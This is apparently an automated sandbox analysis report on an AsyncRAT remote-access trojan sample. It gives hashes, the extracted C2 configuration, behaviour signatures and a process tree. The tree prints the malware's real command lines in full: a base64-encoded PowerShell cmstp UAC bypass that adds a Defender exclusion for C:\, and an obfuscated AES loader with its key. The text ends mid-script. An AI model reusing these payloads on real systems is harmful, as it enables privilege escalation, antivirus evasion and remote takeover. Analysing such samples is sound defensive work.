asyncrat | 57214b92aadf1f587a98a0d0eacaf47aae8516c18c5e96b7745e32b6c079a3d1

Analysis

max time kernel
299s
max time network
301s
platform
windows11-21h2_x64
resource
win11-20241007-en
resource tags

arch:x64arch:x86image:win11-20241007-enlocale:en-usos:windows11-21h2-x64system
submitted
28-12-2024 00:48

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General

Target

output.script.vbs
Size

203KB
MD5

f340313af69ff225bf85f71c378fea27
SHA1

d2fcf71d1859866d252a193f87e6b5d017c0ae45
SHA256

57214b92aadf1f587a98a0d0eacaf47aae8516c18c5e96b7745e32b6c079a3d1
SHA512

2dc362628b59743473c5a899f77af49020876e8236c521a63c5c92aef4553c1d003c96e684279353ab67a96245cade13bbe372b5f28183f306e4275d82c10f11
SSDEEP

1536:abfH0Kj+S44//vsnrRBJZ/iJLerpid/jBCj48xvR5+DdmlZO:a7H0Kj+STnvsnVPZ/igrEOxvR5+xmlZO

Score

10^/10

asyncrat default discovery execution rat

Malware Config

Extracted

Family

asyncrat

Version

0.5.8

Botnet

Default

87.120.113.125:2101

87.120.113.125:55644

Mutex

E0GLVPl3iUqi

Attributes

delay
3
install
false
install_file
winserve.exe
install_folder
%AppData%

aes.plain

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat
Asyncrat family
asyncrat

Async RAT payload 1 IoCs

rat

resource	yara_rule
behavioral5/memory/1580-117-0x0000000007680000-0x0000000007692000-memory.dmp	family_asyncrat

Blocklisted process makes network request 29 IoCs

flow	pid	Process
1	1580	powershell.exe
2	1580	powershell.exe
5	1580	powershell.exe
6	1580	powershell.exe
7	1580	powershell.exe
8	1580	powershell.exe
9	1580	powershell.exe
10	1580	powershell.exe
11	1580	powershell.exe
12	1580	powershell.exe
13	1580	powershell.exe
14	1580	powershell.exe
15	1580	powershell.exe
16	1580	powershell.exe
17	1580	powershell.exe
18	1580	powershell.exe
19	1580	powershell.exe
20	1580	powershell.exe
21	1580	powershell.exe
22	1580	powershell.exe
23	1580	powershell.exe
24	1580	powershell.exe
25	1580	powershell.exe
26	1580	powershell.exe
27	1580	powershell.exe
28	1580	powershell.exe
29	1580	powershell.exe
30	1580	powershell.exe
31	1580	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3128	powershell.exe
1708	powershell.exe
2264	powershell.exe
1120	powershell.exe
1580	powershell.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\%AppData%\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Kills process with taskkill 1 IoCs

evasion

pid	Process
1496	taskkill.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1537126222-899333903-2037027349-1000_Classes\Local Settings	powershell.exe

Suspicious behavior: EnumeratesProcesses 10 IoCs

pid	Process
3128	powershell.exe
3128	powershell.exe
1708	powershell.exe
1708	powershell.exe
2264	powershell.exe
2264	powershell.exe
1120	powershell.exe
1120	powershell.exe
1580	powershell.exe
1580	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	3128	powershell.exe
Token: SeDebugPrivilege	1708	powershell.exe
Token: SeDebugPrivilege	1496	taskkill.exe
Token: SeDebugPrivilege	2264	powershell.exe
Token: SeDebugPrivilege	1120	powershell.exe
Token: SeIncreaseQuotaPrivilege	1120	powershell.exe
Token: SeSecurityPrivilege	1120	powershell.exe
Token: SeTakeOwnershipPrivilege	1120	powershell.exe
Token: SeLoadDriverPrivilege	1120	powershell.exe
Token: SeSystemProfilePrivilege	1120	powershell.exe
Token: SeSystemtimePrivilege	1120	powershell.exe
Token: SeProfSingleProcessPrivilege	1120	powershell.exe
Token: SeIncBasePriorityPrivilege	1120	powershell.exe
Token: SeCreatePagefilePrivilege	1120	powershell.exe
Token: SeBackupPrivilege	1120	powershell.exe
Token: SeRestorePrivilege	1120	powershell.exe
Token: SeShutdownPrivilege	1120	powershell.exe
Token: SeDebugPrivilege	1120	powershell.exe
Token: SeSystemEnvironmentPrivilege	1120	powershell.exe
Token: SeRemoteShutdownPrivilege	1120	powershell.exe
Token: SeUndockPrivilege	1120	powershell.exe
Token: SeManageVolumePrivilege	1120	powershell.exe
Token: 33	1120	powershell.exe
Token: 34	1120	powershell.exe
Token: 35	1120	powershell.exe
Token: 36	1120	powershell.exe
Token: SeIncreaseQuotaPrivilege	1120	powershell.exe
Token: SeSecurityPrivilege	1120	powershell.exe
Token: SeTakeOwnershipPrivilege	1120	powershell.exe
Token: SeLoadDriverPrivilege	1120	powershell.exe
Token: SeSystemProfilePrivilege	1120	powershell.exe
Token: SeSystemtimePrivilege	1120	powershell.exe
Token: SeProfSingleProcessPrivilege	1120	powershell.exe
Token: SeIncBasePriorityPrivilege	1120	powershell.exe
Token: SeCreatePagefilePrivilege	1120	powershell.exe
Token: SeBackupPrivilege	1120	powershell.exe
Token: SeRestorePrivilege	1120	powershell.exe
Token: SeShutdownPrivilege	1120	powershell.exe
Token: SeDebugPrivilege	1120	powershell.exe
Token: SeSystemEnvironmentPrivilege	1120	powershell.exe
Token: SeRemoteShutdownPrivilege	1120	powershell.exe
Token: SeUndockPrivilege	1120	powershell.exe
Token: SeManageVolumePrivilege	1120	powershell.exe
Token: 33	1120	powershell.exe
Token: 34	1120	powershell.exe
Token: 35	1120	powershell.exe
Token: 36	1120	powershell.exe
Token: SeIncreaseQuotaPrivilege	1120	powershell.exe
Token: SeSecurityPrivilege	1120	powershell.exe
Token: SeTakeOwnershipPrivilege	1120	powershell.exe
Token: SeLoadDriverPrivilege	1120	powershell.exe
Token: SeSystemProfilePrivilege	1120	powershell.exe
Token: SeSystemtimePrivilege	1120	powershell.exe
Token: SeProfSingleProcessPrivilege	1120	powershell.exe
Token: SeIncBasePriorityPrivilege	1120	powershell.exe
Token: SeCreatePagefilePrivilege	1120	powershell.exe
Token: SeBackupPrivilege	1120	powershell.exe
Token: SeRestorePrivilege	1120	powershell.exe
Token: SeShutdownPrivilege	1120	powershell.exe
Token: SeDebugPrivilege	1120	powershell.exe
Token: SeSystemEnvironmentPrivilege	1120	powershell.exe
Token: SeRemoteShutdownPrivilege	1120	powershell.exe
Token: SeUndockPrivilege	1120	powershell.exe
Token: SeManageVolumePrivilege	1120	powershell.exe

Suspicious use of WriteProcessMemory 25 IoCs

description	pid	Process	procid_target
PID 3484 wrote to memory of 3128	3484	WScript.exe	77
PID 3484 wrote to memory of 3128	3484	WScript.exe	77
PID 3128 wrote to memory of 2528	3128	powershell.exe	80
PID 3128 wrote to memory of 2528	3128	powershell.exe	80
PID 2528 wrote to memory of 228	2528	csc.exe	81
PID 2528 wrote to memory of 228	2528	csc.exe	81
PID 3128 wrote to memory of 2108	3128	powershell.exe	82
PID 3128 wrote to memory of 2108	3128	powershell.exe	82
PID 3484 wrote to memory of 1912	3484	WScript.exe	88
PID 3484 wrote to memory of 1912	3484	WScript.exe	88
PID 1912 wrote to memory of 2264	1912	cmd.exe	90
PID 1912 wrote to memory of 2264	1912	cmd.exe	90
PID 1912 wrote to memory of 2264	1912	cmd.exe	90
PID 2264 wrote to memory of 1120	2264	powershell.exe	91
PID 2264 wrote to memory of 1120	2264	powershell.exe	91
PID 2264 wrote to memory of 1120	2264	powershell.exe	91
PID 2264 wrote to memory of 2116	2264	powershell.exe	94
PID 2264 wrote to memory of 2116	2264	powershell.exe	94
PID 2264 wrote to memory of 2116	2264	powershell.exe	94
PID 2116 wrote to memory of 1848	2116	WScript.exe	95
PID 2116 wrote to memory of 1848	2116	WScript.exe	95
PID 2116 wrote to memory of 1848	2116	WScript.exe	95
PID 1848 wrote to memory of 1580	1848	cmd.exe	97
PID 1848 wrote to memory of 1580	1848	cmd.exe	97
PID 1848 wrote to memory of 1580	1848	cmd.exe	97

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\output.script.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:3484
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -WindowStyle Hidden -Command Invoke-Expression ([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('ZnVuY3Rpb24gcmFuZG9tWFlaLUludm9rZS1VQUMgewoKCnBhcmFtKAogICAgW1BhcmFtZXRlcihNYW5kYXRvcnkgPSAkdHJ1ZSldCiAgICBbc3RyaW5nXSRyYW5kb21YWVpFeGVjdXRhYmxlLAogCiAgICBbUGFyYW1ldGVyKCldCiAgICBbc3RyaW5nXSRyYW5kb21YWVpDb21tYW5kCikKCiRyYW5kb21YWVpJbmZEYXRhID0gQCcKW3ZlcnNpb25dClNpZ25hdHVyZT0kY2hpY2FnbyQKQWR2YW5jZWRJTkY9Mi41CgpbRGVmYXVsdEluc3RhbGxdCkN1c3RvbURlc3RpbmF0aW9uPXJhbmRvbVhZWi1DdXN0SW5zdERlc3RTZWN0aW9uQWxsVXNlcnMKUnVuUHJlU2V0dXBDb21tYW5kcz1yYW5kb21YWVotUnVuUHJlU2V0dXBDb21tYW5kc1NlY3Rpb24KCltyYW5kb21YWVotUnVuUHJlU2V0dXBDb21tYW5kc1NlY3Rpb25dCkxJTkUKdGFza2tpbGwgL0lNIGNtc3RwLmV4ZSAvRgoKW3JhbmRvbVhZWi1DdXN0SW5zdERlc3RTZWN0aW9uQWxsVXNlcnNdCjQ5MDAwLDQ5MDAxPXJhbmRvbVhZWi1BbGxVU2VyX0xESURTZWN0aW9uLCA3CgpbcmFuZG9tWFlaLUFsbFVTZXJfTERJRFNlY3Rpb25dCiJIS0xNIiwgIlNPRlRXQVJFXE1pY3Jvc29mdFxXaW5kb3dzXEN1cnJlbnRWZXJzaW9uXEFwcCBQYXRoc1xDTU1HUjMyLkVYRSIsICJQcm9maWxlSW5zdGFsbFBhdGgiLCAiJVVuZXhwZWN0ZWRFcnJvciUiLCAiIgoKW1N0cmluZ3NdClNlcnZpY2VOYW1lPSJyYW5kb21YWVpWUE4iClNob3J0U3ZjTmFtZT0icmFuZG9tWFlaVlBOIgonQAoKJHJhbmRvbVhZWkNvZGUgPSBAIgp1c2luZyBTeXN0ZW07CnVzaW5nIFN5c3RlbS5UaHJlYWRpbmc7CnVzaW5nIFN5c3RlbS5UZXh0Owp1c2luZyBTeXN0ZW0uSU87CnVzaW5nIFN5c3RlbS5EaWFnbm9zdGljczsKdXNpbmcgU3lzdGVtLkNvbXBvbmVudE1vZGVsOwp1c2luZyBTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXM7CgpwdWJsaWMgY2xhc3MgcmFuZG9tWFlaQ01TVFBCeXBhc3MKewogICAgW0RsbEltcG9ydCgiU2hlbGwzMi5kbGwiLCBDaGFyU2V0ID0gQ2hhclNldC5BdXRvLCBTZXRMYXN0RXJyb3IgPSB0cnVlKV0KICAgIHN0YXRpYyBleHRlcm4gSW50UHRyIFNoZWxsRXhlY3V0ZShJbnRQdHIgaHduZCwgc3RyaW5nIGxwT3BlcmF0aW9uLCBzdHJpbmcgbHBGaWxlLCBzdHJpbmcgbHBQYXJhbWV0ZXJzLCBzdHJpbmcgbHBEaXJlY3RvcnksIGludCBuU2hvd0NtZCk7CgogICAgW0RsbEltcG9ydCgidXNlcjMyLmRsbCIpXQogICAgc3RhdGljIGV4dGVybiBJbnRQdHIgRmluZFdpbmRvdyhzdHJpbmcgbHBDbGFzc05hbWUsIHN0cmluZyBscFdpbmRvd05hbWUpOwoKICAgIFtEbGxJbXBvcnQoInVzZXIzMi5kbGwiKV0KICAgIHN0YXRpYyBleHRlcm4gYm9vbCBQb3N0TWVzc2FnZShJbnRQdHIgaFduZCwgdWludCBNc2csIGludCB3UGFyYW0sIGludCBsUGFyYW0pOwoKICAgIHB1YmxpYyBzdGF0aWMgc3RyaW5nIEJpbmFyeVBhdGggPSAiYzpcXHdpbmRvd3NcXHN5c3RlbTMyXFxjbXN0cC5leGUiOwoKICAgIHB1YmxpYyBzdGF0aWMgc3RyaW5nIFNldEluZkZpbGUoc3RyaW5nIENvbW1hbmRUb0V4ZWN1dGUsIHN0cmluZyBJbmZEYXRhKQogICAgewogICAgICAgIFN0cmluZ0J1aWxkZXIgT3V0cHV0RmlsZSA9IG5ldyBTdHJpbmdCdWlsZGVyKCk7CiAgICAgICAgT3V0cHV0RmlsZS5BcHBlbmQoIkM6XFx3aW5kb3dzXFx0ZW1wIik7CiAgICAgICAgT3V0cHV0RmlsZS5BcHBlbmQoIlxcIik7CiAgICAgICAgT3V0cHV0RmlsZS5BcHBlbmQoUGF0aC5HZXRSYW5kb21GaWxlTmFtZSgpLlNwbGl0KENvbnZlcnQuVG9DaGFyKCIuIikpWzBdKTsKICAgICAgICBPdXRwdXRGaWxlLkFwcGVuZCgiLmluZiIpOwogICAgICAgIFN0cmluZ0J1aWxkZXIgbmV3SW5mRGF0YSA9IG5ldyBTdHJpbmdCdWlsZGVyKEluZkRhdGEpOwogICAgICAgIG5ld0luZkRhdGEuUmVwbGFjZSgiTElORSIsIENvbW1hbmRUb0V4ZWN1dGUpOwogICAgICAgIEZpbGUuV3JpdGVBbGxUZXh0KE91dHB1dEZpbGUuVG9TdHJpbmcoKSwgbmV3SW5mRGF0YS5Ub1N0cmluZygpKTsKICAgICAgICByZXR1cm4gT3V0cHV0RmlsZS5Ub1N0cmluZygpOwogICAgfQoKICAgIHB1YmxpYyBzdGF0aWMgYm9vbCByYW5kb21YWVpFeGVjdXRlKHN0cmluZyBDb21tYW5kVG9FeGVjdXRlLCBzdHJpbmcgSW5mRGF0YSkKICAgIHsKICAgICAgICBjb25zdCBpbnQgV01fU1lTS0VZRE9XTiA9IDB4MDEwMDsKICAgICAgICBjb25zdCBpbnQgVktfUkVUVVJOID0gMHgwRDsKCiAgICAgICAgU3RyaW5nQnVpbGRlciBJbmZGaWxlID0gbmV3IFN0cmluZ0J1aWxkZXIoKTsKICAgICAgICBJbmZGaWxlLkFwcGVuZChTZXRJbmZGaWxlKENvbW1hbmRUb0V4ZWN1dGUsIEluZkRhdGEpKTsKCiAgICAgICAgUHJvY2Vzc1N0YXJ0SW5mbyBzdGFydEluZm8gPSBuZXcgUHJvY2Vzc1N0YXJ0SW5mbyhCaW5hcnlQYXRoKTsKICAgICAgICBzdGFydEluZm8uQXJndW1lbnRzID0gIi9hdSAiICsgSW5mRmlsZS5Ub1N0cmluZygpOwogICAgICAgIHN0YXJ0SW5mby5XaW5kb3dTdHlsZSA9IFByb2Nlc3NXaW5kb3dTdHlsZS5IaWRkZW47ICAvLyBIaWRkZW4gd2luZG93CiAgICAgICAgSW50UHRyIGRwdHIgPSBNYXJzaGFsLkFsbG9jSEdsb2JhbCgxKTsKICAgICAgICBTaGVsbEV4ZWN1dGUoZHB0ciwgIiIsIEJpbmFyeVBhdGgsIHN0YXJ0SW5mby5Bcmd1bWVudHMsICIiLCAwKTsKCiAgICAgICAgVGhyZWFkLlNsZWVwKDMwMDApOwogICAgICAgIEludFB0ciBXaW5kb3dUb0ZpbmQgPSBGaW5kV2luZG93KG51bGwsICJyYW5kb21YWVpWUE4iKTsKCiAgICAgICAgUG9zdE1lc3NhZ2UoV2luZG93VG9GaW5kLCBXTV9TWVNLRVlET1dOLCBWS19SRVRVUk4sIDApOwogICAgICAgIFRocmVhZC5TbGVlcCg1MDAwKTsKICAgICAgICBGaWxlLkRlbGV0ZShJbmZGaWxlLlRvU3RyaW5nKCkpOwogICAgICAgIHJldHVybiB0cnVlOwogICAgfQp9CiJACgokcmFuZG9tWFlaQ29uc2VudFByb21wdCA9IChHZXQtSXRlbVByb3BlcnR5IEhLTE06XFNPRlRXQVJFXE1pY3Jvc29mdFxXaW5kb3dzXEN1cnJlbnRWZXJzaW9uXFBvbGljaWVzXFN5c3RlbSkuQ29uc2VudFByb21wdEJlaGF2aW9yQWRtaW4KJHJhbmRvbVhZWlNlY3VyZURlc2t0b3BQcm9tcHQgPSAoR2V0LUl0ZW1Qcm9wZXJ0eSBIS0xNOlxTT0ZUV0FSRVxNaWNyb3NvZnRcV2luZG93c1xDdXJyZW50VmVyc2lvblxQb2xpY2llc1xTeXN0ZW0pLlByb21wdE9uU2VjdXJlRGVza3RvcAppZiAoJHJhbmRvbVhZWkNvbnNlbnRQcm9tcHQgLUVxIDIgLWFuZCAkcmFuZG9tWFlaU2VjdXJlRGVza3RvcFByb21wdCAtRXEgMSkgewogICAgcmV0dXJuCn0KCnRyeSB7CiAgICAkcmFuZG9tWFlaVXNlciA9IFtTeXN0ZW0uU2VjdXJpdHkuUHJpbmNpcGFsLldpbmRvd3NJZGVudGl0eV06OkdldEN1cnJlbnQoKS5OYW1lCiAgICAkcmFuZG9tWFlaQWRtID0gR2V0LUxvY2FsR3JvdXBNZW1iZXIgLVNJRCBTLTEtNS0zMi01NDQgfCBXaGVyZS1PYmplY3QgeyAkXy5OYW1lIC1lcSAkcmFuZG9tWFlaVXNlciB9Cn0gY2F0Y2ggewogICAgJHJhbmRvbVhZWlVzZXIgPSBbU3lzdGVtLlNlY3VyaXR5LlByaW5jaXBhbC5XaW5kb3dzSWRlbnRpdHldOjpHZXRDdXJyZW50KCkuTmFtZQogICAgJHJhbmRvbVhZWkFkbWluR3JvdXBTSUQgPSAnUy0xLTUtMzItNTQ0JwogICAgJHJhbmRvbVhZWkFkbWluR3JvdXAgPSBHZXQtV21pT2JqZWN0IC1DbGFzcyBXaW4zMl9Hcm91cCB8IFdoZXJlLU9iamVjdCB7ICRfLlNJRCAtZXEgJHJhbmRvbVhZWkFkbWluR3JvdXBTSUQgfQogICAgJHJhbmRvbVhZWk1lbWJlcnMgPSAkcmFuZG9tWFlaQWRtaW5Hcm91cC5HZXRSZWxhdGVkKCJXaW4zMl9Vc2VyQWNjb3VudCIpCiAgICAkcmFuZG9tWFlaTWVtYmVycyB8IEZvckVhY2gtT2JqZWN0IHsgaWYgKCRfLkNhcHRpb24gLWVxICRyYW5kb21YWVpVc2VyKSB7ICRyYW5kb21YWVpBZG0gPSAkdHJ1ZSB9IH0KfQoKaWYgKCEkcmFuZG9tWFlaQWRtKSB7CiAgICByZXR1cm4KfQoKdHJ5IHsKICAgIGlmICghW1N5c3RlbS5JTy5GaWxlXTo6RXhpc3RzKCRyYW5kb21YWVpFeGVjdXRhYmxlKSkgewogICAgICAgICRyYW5kb21YWVpFeCA9IChHZXQtQ29tbWFuZCAkcmFuZG9tWFlaRXhlY3V0YWJsZSkKICAgICAgICBpZiAoIVtTeXN0ZW0uSU8uRmlsZV06OkV4aXN0cygkcmFuZG9tWFlaRXguU291cmNlKSkgewogICAgICAgICAgICAkcmFuZG9tWFlaRXhlY3V0YWJsZSA9ICRFeGVjdXRpb25Db250ZXh0LlNlc3Npb25TdGF0ZS5QYXRoLkdldFVucmVzb2x2ZWRQcm92aWRlclBhdGhGcm9tUFNQYXRoKCRyYW5kb21YWVpFeGVjdXRhYmxlKQogICAgICAgICAgICBpZiAoIVtTeXN0ZW0uSU8uRmlsZV06OkV4aXN0cygkcmFuZG9tWFlaRXhlY3V0YWJsZSkpIHsKICAgICAgICAgICAgICAgIHJldHVybgogICAgICAgICAgICB9CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgJHJhbmRvbVhZWkV4ZWN1dGFibGUgPSAoR2V0LUNvbW1hbmQgJHJhbmRvbVhZWkV4ZWN1dGFibGUpLk5hbWUKICAgICAgICB9CiAgICB9Cn0gY2F0Y2ggewogICAgcmV0dXJuCn0KCmlmICgkcmFuZG9tWFlaRXhlY3V0YWJsZS5Db250YWlucygicG93ZXJzaGVsbCIpKSB7CiAgICBpZiAoJHJhbmRvbVhZWkNvbW1hbmQgLW5lICIiKSB7CiAgICAgICAgJHJhbmRvbVhZWkZpbmFsID0gInBvd2Vyc2hlbGwgLVdpbmRvd1N0eWxlIEhpZGRlbiAtYyAiIiRyYW5kb21YWVpDb21tYW5kIiIiCiAgICB9IGVsc2UgewogICAgICAgICRyYW5kb21YWVpGaW5hbCA9ICIkcmFuZG9tWFlaRXhlY3V0YWJsZSAkcmFuZG9tWFlaQ29tbWFuZCIKICAgIH0KfSBlbHNlaWYgKCRyYW5kb21YWVpFeGVjdXRhYmxlLkNvbnRhaW5zKCJjbWQiKSkgewogICAgaWYgKCRyYW5kb21YWVpDb21tYW5kIC1uZSAiIikgewogICAgICAgICRyYW5kb21YWVpGaW5hbCA9ICJjbWQgL2MgIiIkcmFuZG9tWFlaQ29tbWFuZCIiIiAgIyBDaGFuZ2VkIHRvIC9jIHRvIGNsb3NlIHRoZSBjbWQgd2luZG93CiAgICB9IGVsc2UgewogICAgICAgICRyYW5kb21YWVpGaW5hbCA9ICIkcmFuZG9tWFlaRXhlY3V0YWJsZSAkcmFuZG9tWFlaQ29tbWFuZCIKICAgIH0KfSBlbHNlIHsKICAgICRyYW5kb21YWVpGaW5hbCA9ICIkcmFuZG9tWFlaRXhlY3V0YWJsZSAkcmFuZG9tWFlaQ29tbWFuZCIKfQoKZnVuY3Rpb24gcmFuZG9tWFlaRXhlY3V0ZSB7CiAgICB0cnkgewogICAgICAgICRyYW5kb21YWVpSZXN1bHQgPSBbcmFuZG9tWFlaQ01TVFBCeXBhc3NdOjpyYW5kb21YWVpFeGVjdXRlKCRyYW5kb21YWVpGaW5hbCwgJHJhbmRvbVhZWkluZkRhdGEpCiAgICB9IGNhdGNoIHsKICAgICAgICBBZGQtVHlwZSAkcmFuZG9tWFlaQ29kZQogICAgICAgICRyYW5kb21YWVpSZXN1bHQgPSBbcmFuZG9tWFlaQ01TVFBCeXBhc3NdOjpyYW5kb21YWVpFeGVjdXRlKCRyYW5kb21YWVpGaW5hbCwgJHJhbmRvbVhZWkluZkRhdGEpCiAgICB9CgogICAgaWYgKCRyYW5kb21YWVpSZXN1bHQpIHsKICAgICAgICByZXR1cm4KICAgIH0gZWxzZSB7CiAgICAgICAgcmV0dXJuCiAgICB9Cn0KCiRyYW5kb21YWVpQcm9jZXNzID0gKChHZXQtV21pT2JqZWN0IC1DbGFzcyB3aW4zMl9wcm9jZXNzKS5uYW1lIHwgU2VsZWN0LVN0cmluZyAiY21zdHAiIHwgU2VsZWN0LU9iamVjdCAqIC1GaXJzdCAxKS5QYXR0ZXJuCmlmICgkcmFuZG9tWFlaUHJvY2VzcyAtZXEgImNtc3RwIikgewogICAgdHJ5IHsKICAgICAgICBTdG9wLVByb2Nlc3MgLU5hbWUgImNtc3RwIiAtRm9yY2UKICAgICAgICByYW5kb21YWVpFeGVjdXRlCiAgICB9IGNhdGNoIHsKICAgICAgICByZXR1cm4KICAgIH0KfSBlbHNlIHsKICAgIHJhbmRvbVhZWkV4ZWN1dGUKfQp9CgojIEZ1bmN0aW9uIENhbGwKcmFuZG9tWFlaLUludm9rZS1VQUMgLXJhbmRvbVhZWkV4ZWN1dGFibGUgInBvd2Vyc2hlbGwiIC1yYW5kb21YWVpDb21tYW5kICIuKCdBZGQtTXBQJyArICdyZWZlcmVuY2UnKSAtRXhjbHVzaW9uUGF0aCBDOlwgLUV4Y2x1c2lvblByb2Nlc3MgcG93ZXJzaGVsbC5leGUi')))
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3128
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\ll11e4fl\ll11e4fl.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2528
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES7520.tmp" "c:\Users\Admin\AppData\Local\Temp\ll11e4fl\CSC78D26E54981493BBEEED136F5C61EF6.TMP"
      4⤵
      PID:228
- - C:\windows\system32\cmstp.exe
    "C:\windows\system32\cmstp.exe" /au C:\windows\temp\c5k4vsb3.inf
    3⤵
    PID:2108
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\c.bat" "
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1912
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ IEX '#EspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNK '.Replace('Espaco', ''); $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('BBLnVF7z3DVjnvsB1k5kpdh8kfa4vHOk/FO+enioEoI='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Zd7P/cUj7gNZ5KhnW9OVzA=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ IEX '$RUQVz=New-Object System.IO.MOBFOBFUSCUDAemOBFOBFUSCUDAorOBFOBFUSCUDAySOBFOBFUSCUDAtrOBFOBFUSCUDAeaOBFOBFUSCUDAm(,$param_var);'.Replace('OBFOBFUSCUDA', ''); IEX '$YXhYf=New-Object System.IO.OBFOBFUSCUDAMOBFOBFUSCUDAeOBFOBFUSCUDAmOBFOBFUSCUDAoOBFOBFUSCUDArOBFOBFUSCUDAyOBFOBFUSCUDASOBFOBFUSCUDAtOBFOBFUSCUDArOBFOBFUSCUDAeOBFOBFUSCUDAaOBFOBFUSCUDAmOBFOBFUSCUDA;'.Replace('OBFOBFUSCUDA', ''); IEX '$Yhhyo=New-Object System.IO.COBFOBFUSCUDAomOBFOBFUSCUDAprOBFOBFUSCUDAeOBFOBFUSCUDAssOBFOBFUSCUDAioOBFOBFUSCUDAn.OBFOBFUSCUDAGZOBFOBFUSCUDAipOBFOBFUSCUDAStOBFOBFUSCUDAreOBFOBFUSCUDAamOBFOBFUSCUDA($RUQVz, [IO.COBFOBFUSCUDAomOBFOBFUSCUDAprOBFOBFUSCUDAesOBFOBFUSCUDAsiOBFOBFUSCUDAonOBFOBFUSCUDA.CoOBFOBFUSCUDAmpOBFOBFUSCUDAreOBFOBFUSCUDAssOBFOBFUSCUDAiOBFOBFUSCUDAoOBFOBFUSCUDAnOBFOBFUSCUDAMode]::DOBFOBFUSCUDAeOBFOBFUSCUDAcOBFOBFUSCUDAompOBFOBFUSCUDAreOBFOBFUSCUDAss);'.Replace('OBFOBFUSCUDA', ''); $Yhhyo.CopyTo($YXhYf); $Yhhyo.Dispose(); $RUQVz.Dispose(); $YXhYf.Dispose(); $YXhYf.ToArray();}function execute_function($param_var,$param2_var){ IEX 